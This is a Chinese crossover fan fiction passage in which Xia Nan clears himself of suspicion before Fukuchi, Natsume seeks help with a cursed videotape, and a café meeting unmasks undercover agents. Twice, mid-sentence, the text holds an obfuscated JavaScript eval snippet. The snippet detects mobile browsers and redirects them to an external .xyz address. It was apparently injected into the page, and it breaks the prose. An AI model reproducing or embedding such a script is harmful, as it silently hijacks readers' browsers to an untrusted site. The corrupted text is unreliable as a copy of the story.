夏楠笑了笑,“一部电影,通常有90分钟的时长,而预告片,只有短短几十秒。” “影评就更可怕了,它甚至不需要连贯的片段拼接,只需要几个画面。” “阁下不妨猜猜看,这里面,有多少可以做文章的空间?” 福地樱痴:…… “第一次,你的刀给了你一个末日景象,于是你有了一个认知——世界大战即将爆发。” 夏楠微微抬起手,“世界大战相关的潜意识有什么?” “混乱,死亡,无序。” “第二次,你的刀给了你另一个混乱、死亡、无序的画面,于是你的潜意识立刻代入了——末日。” 夏楠点了点自己,“而末日的中心,有我。” “让我来猜猜,第二次的时候,其实你并没有确定,你心目当中毁灭世界的存在是我,对不对?” 福地樱痴露出了沉思的表情。 “但第三次,你再次看到了我,不仅看到了我,还看到了你自己,看到了未来的你质问我的画面,于是逻辑成型——我,就是毁灭世界的真凶。” 夏楠摊开手,“但事实,真的是这样吗?” 福地樱痴的目光微微失焦,开始回忆,跟着夏楠的话回忆。 “世界很脆弱,但同时也无比坚固,福地先生……” 夏楠打了个响指,微风重新吹拂,云层重新变幻,大自然的白噪音回归,这片被禁锢的空间,重新回归现实。 “……福地先生,虽然在你们的世界观里,世界动不动就会毁灭,仿佛一个积木搭建的脆弱娃娃,一碰就塌,一吹就抖,但实际上,它比你想象的要坚强无数倍。” “这些与你的嫌疑并无关系,它们无法成为你为自己脱罪的依据。” “它们当然可以,”夏楠迎着福地樱痴的目光,“因为你看到的未来,并不是世界毁灭,而是——” “界线崩毁。” 界线,并不是一个陌生的词,相反,在分析夏楠的时候,那几个被军警内部盘包浆的探灵社视频里,夏楠已经有提到过这个词。伴随着界线这个词汇出现,随之而来的,是夏楠关于乱序世界与常世的解释。 福地樱痴皱眉,“你的意思是说……” “我的意思是说,界线被破坏了,就像这里,”夏楠示意了一下隧道的方向,“它的成型是偶然,极限就放在那,但有人试图突破这个极限,将空间的交融扩大。” 说到一半,夏楠停住了,他转换了话题,“当然,这个事情与我们现在讨论的‘洗脱嫌疑’并没有关系。” 夏楠笑着看福地樱痴,“我无法破坏界线的原因很简单,答案你早就知道,福地先生。” “关于我的背调,做的如何了?” “去种花调查我过往的人,传回可靠的消息了吗?” “想必已经有结论了吧。” 福地樱痴一愣,随即微微瞪大眼睛。 轻飘飘的语调,微微上卷的尾音,夏楠缓缓诉说,“关于我是‘凭空出现的人’,这个结论。” …… “……原来如此。” 夏楠只是笑,看着福地樱痴恍然大悟,看着对方再次陷入沉思。 总是这样,看,总是这样。明明之前还在说‘第二手现实’,他在之前的视频当中,也多次提到了认知与潜意识。人总是会被自己的‘眼睛’欺骗,被过往的经验,成熟的逻辑欺骗。 碎片化的信息,在传播的过程中总会被扭曲成面目全非的样子,总是这样。 作为界线对外延伸的一部分,夏楠当然无法做到破坏‘秩序’。这可不像是自杀,他是秩序的一部分,是界线的自我保护程序,守界人就是这样的存在。 凭空出现的人只是其中的因素之一,并不是全部。但福地樱痴听到‘凭空出现的人’会有什么样的反应呢?什么样的情况,会出现‘凭空出现的人’这样的存在呢? “原来如此,”福地樱痴说,“所以你会出现在横滨。” 他看向夏楠,“你是什么时候知道的?” 看,答案总是会自己跑到他的手心,总是如此。 夏楠微微歪头,“知道什么,书?” “就在这两天吧,毕竟,经历的事情太多了,实在很难忽略一些事。” 福地樱痴:…… 他叹了口气。 “是谁创造了你?” 夏楠回答,“关于这个问题,我也在寻找答案。” 究竟是谁呢?拉他来到这个世界,推动着所有的,隐藏在背后的人。 这里不是if线,或者说,这里不是他所了解的那条if线,那条有着‘书的存在不能被两个以上的人知晓’的规则的if线。这里的叙事是崭新的,崭新,又充满了违和。原本夏楠只是猜测,if线的世界十分脆弱,它大概承载不了综成这样的大乱炖,甚至,在界线崎岖到这副样子的情况下还能自洽。但太宰,在那次游乐园之行时的表现,让夏楠的猜测加深——多了一个人知道书的存在,太宰治的反应实在太平淡了。 但他又知道书,甚至,很可能拥有书。 夏楠无法直接接触这一类本源存在,所以他只能被动的等。 用神秘侧来加强他与这个世界的连接,让强行拼凑的脆弱连接落为现实,将一个又一个主线人物送到他面前。 为了什么呢? 夏楠的手中再次出现了那枚银戒。 答案,应该很快就会揭晓。 就在福地樱痴沉思的时候,夏楠忽然开口。 “福地先生,请问你有跳槽的打算吗?” 福地樱痴一愣,他看向夏楠,“你是在……邀请老夫?” “是哦。” 福地樱痴:…… 他张了张嘴,又合上,似乎对夏楠的邀请感到难以置信,又似乎有别的想法。 夏楠并不执着答案,只是说,“邀请一直有效,阁下可以慢慢考虑,”他说着,示意不远处的方向,“不过现在,还是先解决一下,异空间内出现‘异能实验’这件事比较好。” 福地樱痴看着夏楠,不说话。 夏楠微微歪头,“一点小小的建议,阁下,”他说,“偶尔,怀疑一下自己,怀疑一下自己的队友。” 指尖的银戒消失,夏楠抬起手,微微一弹指尖。轻微的爆裂声响起,一共两声,一声在福地樱痴披风内侧,一声在他制服的口袋里。 “请替我向你的朋友问好。” 厨师是被什么人劫走的? 果戈里。 果戈里属于哪个组织? 天人五衰。 夏楠只是没想到来的是福地樱痴,他的内心,还以为来的会是‘一片空白’的西格玛。毕竟应对他的能力,理论上来讲,西格玛是最好的选择。 福地樱痴沉默。 夏楠看了眼不远处的条野采菊,又转回视线,“那么,我社还有别的委托等待处理,就此……” “等一下。” 福地樱痴开口,“你的嫌疑还没有完全洗脱,我依旧怀疑你。” “所以?” “所以,带上条野……不,还是铁肠吧,带上他。” 夏楠挑眉。 带条野是监视,带末广铁肠……保护? “看来阁下已经有结论了。” —————— “夏目君!” 病房的门被推开,名取周一出现在门外。他的目光先是立刻寻找到了正在从椅子上站起来的夏目贵志,紧接着,他们听到了一个声音。 得知藤原塔子昏迷送医的藤原滋从公司请假赶过来,他同样在病房里,听到声音,看向门口。 “是……哦!是名取先生。” 名取周一看到病房内的情景,松了口气,他回答,“是我,我接到了通知……塔子女士怎么样?” “医生说是受惊过度,倒下的时候撞到了脑袋,好在不严重,”藤原滋冲门口两人招招手,“快进来吧。” 夏目贵志在一旁捏紧了衣角,不说话。 名取周一看了眼夏目贵志,继续问道,“有说什么时候会醒来吗?” “已经醒过一次了,”藤原滋说道,“我们让她再睡一会儿。” 名取周一走到病床边,“那就好。” “是啊,”藤原滋看着病床上塔子放松的睡颜,“还好当时贵志君就在旁边。” “……”夏目贵志垂着脑袋,“……对不起,都是我的错,对不起。” 藤原滋看向夏目贵志,他的视线中有了然,有心疼,唯独不见埋怨,“不,不是贵志君的错,不要这样说。” 夏目贵志依旧陷在悔恨的漩涡里,“如果不是因为我……” “贵志君,”眼见夏目贵志情绪越来越消沉,藤原滋加重了语气,在少年不知所措的看向自己的时候,语气重新软了下来,“不是你的错,不要将与自己无关的罪责揽在自己身上。” “塔子醒来,看见这样的贵志君,会难过的。” 夏目贵志抿着唇,看向熟睡的塔子。 藤原滋继续说道,“我也会难过的,贵志君。” 床脚,趴在藤原塔子脚边的猫咪老师抬眼看了一眼夏目贵志,打了个呵欠。 病房内安静了一会儿。 名取周一犹豫半天,不知道该不该当着藤原滋的面和夏目提起关于对方在电话里提起的那个诅咒录像带的事。 藤原滋看了看两人纠结的神色,他忽然起身,“我去买点糕点,过一会儿塔子醒来,应该会想吃点甜甜的糕点,”他看向夏目贵志,“贵志君,塔子就拜托你了。” 夏目贵志张了张嘴,挣扎半天,最终只发出应承的声音。 藤原滋离开了。 名取周一神色复杂的看着对方的背影被阻隔在房门之外,他回过头,又看到了夏目贵志紧紧捏着的拳头。 沉默。 “夏目君,你说的诅咒录像带?” “在这里。” 夏目贵志从随身的包里取出一个录像带,他最终还是没有砸毁它,因为猫咪老师说,砸掉也不能解决问题。塔子桑身上的诅咒还没解开,这个是唯一的线索。 名取周一接过录像带,“的确……能感受到一点点诅咒的气息。” “名取先生能去除塔子阿姨身上的诅咒么?” 名取周一依旧看着录像带,微微皱眉,“我不确定,目前为止,我还没有处理过这种类型的诅咒。” “……这种类型?” “一般来讲,无论是妖怪还是怨灵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886149|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们的诅咒就像是在被诅咒的人身上打上了自己的标记,只要清除标记,就可以结束狩猎与被狩猎的关系……”名取周一开始解释。 夏目贵志想起自己曾经的经历,点了点头。 “但是,塔子女士所中的诅咒,如果没猜错的话,应该很难被彻底清除,”名取周一看向藤原塔子,“不过暂时清除掉是可以做到的。” 夏目贵志有些茫然。 猫咪老师接话,作为神秘侧住民的它,更能理解本质,“那个家伙,不,那个不知道是什么的家伙,不只是怨灵。” “什么……意思?” 名取周一叹了口气,“我曾经参与过除妖师协会的一起事件,要处理的是一个……电子幽灵(美美子)。” 夏目贵志微微瞪大眼睛,他的视线凝固在被名取周一拿在手中的录像带——电子,幽灵? 电子,网络,那岂不是…… 名取周一继续说道,“电子幽灵很难捕捉,必须找到它的本体在哪里,如果找不到,它的标记也无法被彻底清除,除非达成目的,否则,狩猎永远不会终止。” 名取周一看着夏目贵志逐渐涌上恐慌的脸,再次叹气,“总之,我们现在先试着清除塔子女士身上的标记,之后再继续想办法,好吗?” 夏目贵志:…… 他默默点头。 猫咪老师再次开口,“那么费劲干什么,直接去找那个夏目不就好了?” “可是……” 其实夏目贵志第一时间想到的的确是夏楠,但他并没有夏楠的联系方式,而且之前的会面,对方也很严厉的对自己找上门的行为进行了劝告,这使他不敢再主动联系。 “啊——啰啰嗦嗦的烦死了。”猫咪老师忽然跳起来,一把将名取周一手中的录像带拍到了床上。 空气中突然传出一道女声,“喂,肥猫,你要对名取做什么?!” “哈?!你说谁肥猫呢?!” 夏目贵志刚想让两只小点声,名取周一忽然开口,“等等,那里……” 掉在床上的录像带翻了个面,露出了上面的一行字——探灵社。 名取周一迟疑,“这个……是那个夏目寄来的?” 夏目贵志:…… “……我不知道。” 名取周一:…… 他同样沉默了。 那个探灵社社长是个什么风格,他不是很了解,无法判断对方这么做的用意。 但是…… “去找他吧,夏目君。” …… 藤原滋提着小蛋糕回来的时候,只看到空荡荡的房间,和夏目贵志留下的一张写着语焉不详的‘有点事先离开’的纸条。他叹了口气,将小蛋糕放在床头。 “贵志君,”他手里拿着小纸条,对不知道什么时候悄悄睁开眼睛的塔子说,“有些时候,也可以多对我们诉说一点啊……” 在夫妻二人看不到的空间。窗外,一颗巨大的牛头正在看着他们,而另一边的床头柜上,坐着一个手握烟斗的和服女性。病房的角落有一张巨大的脸,脸上是两撇滑稽的小胡子。小胡子身边,还蹲着两只头上顶着包的中级。 —————— …… …… 沉默,沉默是今天的咖啡厅,沉默是松田阵平嘴角的弧度,沉默是绿川光震动的瞳孔。 早在得知约见地点以后就对接下来发生的事有一定预判的降谷零……哦不是,安室透,总之,他很淡定,最淡定的就是他。 松田阵平坐到了两人对面,最里侧的坂口安吾看了看气氛诡异的三人,抬眼镜,不说话。 角落的位置,没什么人的咖啡厅,眼神官司不停的三位旧识,以及唯一被排除在外的坂口安吾。 坂口安吾十分上道的说,“需要我回避么?” 绿川光:…… 夏楠到了。 他的身边跟着千寻和末广铁肠,涉谷一也和林兴徐也在后面。和尚接下来有事提前离开,来的只有他们五个。 三对三的座位,千寻将松田阵平赶到了另一边坐,探灵社三人撸成一串,涉谷事务所两人坐在了临近的座位上,末广铁肠左看右看,直接拉了椅子过来,坐在了夏楠身后。还没完,几人刚坐下没一会儿,萩原研二也来了。 夏楠看了他一眼,微微挑眉。 萩原研二对着夏楠笑了笑,“好久不见,小夏目。” “你看起来还不错。” “是啊,下决定以后,整个人都放松了,”萩原研二撩了撩头发,“倒是小夏目身边,每次都会多几个生面孔。” 人到齐,进入正题。 千寻从身上拿出一个小装置,直接放在了桌子上,紧接着,掏出摄像。偶尔有顾客进门,都被咖啡店的员工引导到了远离他们的地方落座。 “请。” 夏楠对着绿川光抬了一下手。 绿川光:…… 他看了看周围,迟疑:“这些人……?” 夏楠唔了一声,“看起来你还有顾虑,那就先从另一件事开始。” 千寻默默收回摄像。 夏楠从口袋里掏出一个东西,放在了桌子上,他的指尖点在上面,目光看着松田阵平身边两人,“一次机会,你们是谁?” 安室透看了看夏楠放在桌子上的U盘,又看了看夏楠,沉默。 —————— 时间转回前一天,夏楠刚刚回到探灵社的时候。 四枚子弹。 坂口安吾的异能力能够追溯物品的‘记忆’,他很快摸清了子弹的经历。 “三个袭击者,”坂口安吾简单描述了三个人的外貌,“有一个名字,GIN,他们似乎是听这个人的指示行动。” 虽然好奇夏楠到底是怎么做到在三把狙击枪底下毫发无伤还顺手拐了四枚子弹回来,但坂口安吾是什么人,他很有卧底素养的没有开口问,仿佛夏楠手里突然多了四枚子弹是一件再正常不过的事。 瘫在沙发上的夏楠问道,“还有么?” “子弹的出处,应该是港口黑手党名下的仓库。” 嗯…… 夏楠嗯了一声,指尖一翻,手中多出另一个东西,那是织田作之助带给他的,“这个呢?” 54.五十四 坂口安吾接过,发动了异能。 ! 一段时间以后,他的额头沁出细密的汗,脸色发白。 “怎么了?” 坂口安吾:…… 夏楠看了他一眼,了然,“认识?” 坂口安吾:…… “小织带回来的,说说看吧。”夏楠的手随意一挥,东西又回到他手中,他撕开表面包裹的塑料一样的东西,看到了内里,和想象当中没有区别——一个u盘。 “她……”坂口安吾默默深呼吸,“……抱歉,她和我……她是我的同事。” 不仅仅是同事,他们还曾一起训练,训练如何成为一个合格的卧底。虽然从来没直接见过面,但坂口安吾好奇之下,通过物品记忆接触过这个人。 “她的异能力,是将他人三天内的记忆生成一个U盘,U盘存在的时间为一星期。” 又一个有关记忆的异能力,夏楠想道,的确很适合做卧底。 “所以她选择了阿治的住所。” 夏楠看着天花板。 如果接头的人迟迟不到,她又无法自主将U盘送回异能特务科,太宰治回来后看到U盘,接触的瞬间就会让U盘消失。退一万步,在她死后一周,东西同样会消失。 为了一次信息传递,那位卧底给它加了双重保险。 “你们为什么不自己去接应?” 坂口安吾沉默。 夏楠又看了他一眼,“啊——这是种田长官的私人行为?” 坂口安吾继续沉默。 “她的联络人是种田长官,而种田先生不希望这个……”夏楠看了看手里的U盘,“……不希望这个U盘,落入异能特务科手中?” 坂口安吾用沉默回应。 —————— “不说么?”夏楠看着两人,他的指尖毫无迟疑的挪动,将U盘重新收了回来,“那就点名吧。” “千寻。” 千寻很给面子的开口,“降谷零,诸伏景光。” 咳咳咳咳—— 松田阵平忽然开始猛咳,拉了个椅子坐在旁边的萩原研二憋笑。 被点名的两人:…… “那是什么?”已经被点破身份,安室透、或者降谷零无奈的叹了口气。 “秘密,”夏楠回答,在对方无语的注视下继续说道,“你们卧底的组织最近的活动中心在横滨,如果我没猜错的话。” “……你还知道什么?” “还知道什么?”夏楠开口,“知道组织的boss会在不久的未来来到横滨?” 安室透眼睛微微瞪大,“什么?你从哪里得到的消息?” “猜的。” 安室透:…… 他和诸伏景光对视一眼,“根据呢?” 夏楠掏出三枚硬币,递给安室透,“抛一下。” 安室透:? 他虽然有些不解,但还是照做了。神秘侧的东西,反正都是神神秘秘的。 硬币在空中旋转,下落,又被安室透一一接住。 “保持别动,张开手。” 安室透张开手。 夏楠凑近看了一眼对方手心的三枚硬币,笑了笑,“看,它们说我说得对。” 安室透看看自己手心,又看看对面的夏楠,无语。 “你……” “做你们该做的事,”夏楠打断了对方的话,“做你们该做的事,然后,在时机来临的时候,会有人为你们指路。” 安室透:…… “你要做什么?” “我?”夏楠笑了笑,“现在的话,完成委托?” “哦,对了,”他看向松田阵平与萩原研二,被夏楠叫来的两名警官正在一边看许久未见的好友的热闹,“二位,不知道伽椰子还健在么?” 松田阵平一愣。 夏楠开口,“如果还健在的话,把她送去横滨警视厅。” 松田阵平发出了和安室透相同的疑问。 “你要做什么?” “你们会知道的,至于许可的问题……”夏楠沉吟,现在一切都还没发生,倒是的确很难找到一个合理的理由,“……这样吧,就说,我有一个实验,需要配合。” —————— 武装侦探社。 由于探灵社的人带来了社长被人盯上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890169|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这种骇人听闻的信息,整个侦探社内气氛十分紧张。现在的武装侦探社社员并不多,战斗员更少……虽然未来也少。 缺少顶级战力,但没关系,他们有顶级头脑。 江户川乱步在推测出福泽谕吉是那些人的目标以后,也不闹脾气了。长期饭票没了可是很麻烦的——他想着,在会议室里,听国木田独步简单描述最近侦探社接到的委托有哪些。 其中绝大部分江户川乱步只需要扫一眼资料就能给出结论——绝大部分跟鬼都没什么关系,只有一少部分有关系,但他们不是解决这类事件的专门人士,最后都推荐那些人去找别人了。 比如福泽谕吉的一位姑且算是除妖师协会成员的老友。 火力全开的江户川乱步效率十分之高,他从一种资料当中点出两个人的名字。 “宫野明美,川崎富叶?” 国木田独步看着这两个名字,回忆了一下这两个人的长相。 “那个组织的人,”江户川乱步开口,“第一个肯定是,当时就觉得有问题,编谎话都不会编,第二个不确定,但肯定是混/黑的啦。” “我记得,宫野明美好像是银行出纳。” “那个不重要,重要的是她那个男朋友。”江户川乱步说道。 男朋友? 好像是提到过一次……叫什么来着。 “叫什么也不重要,那家伙估计是个卧底,”江户川乱步的手里拿着福泽谕吉刚刚从警视厅友人那里要到的关于探灵社被袭击的调查报告,“袭击的人里有他,找到他。” 虽然依旧还有许多疑问,但国木田独步还是立刻回应,“我知道了。” “那我们呢?乱步桑?” 太宰治和织田作之助坐在一边,他撑着下巴,问道。 “你不是有别的事吗?”江户川乱步看他一眼,“多大的人了,还需要乱步先生教你怎么做事吗?” “可是夏目让我们待在侦探社啊。”太宰治委委屈屈。 “他只说让你们待在侦探社,又不是说让你们一直待在侦探社。” 太宰治轻笑一声。 “你说得对,乱步先生。”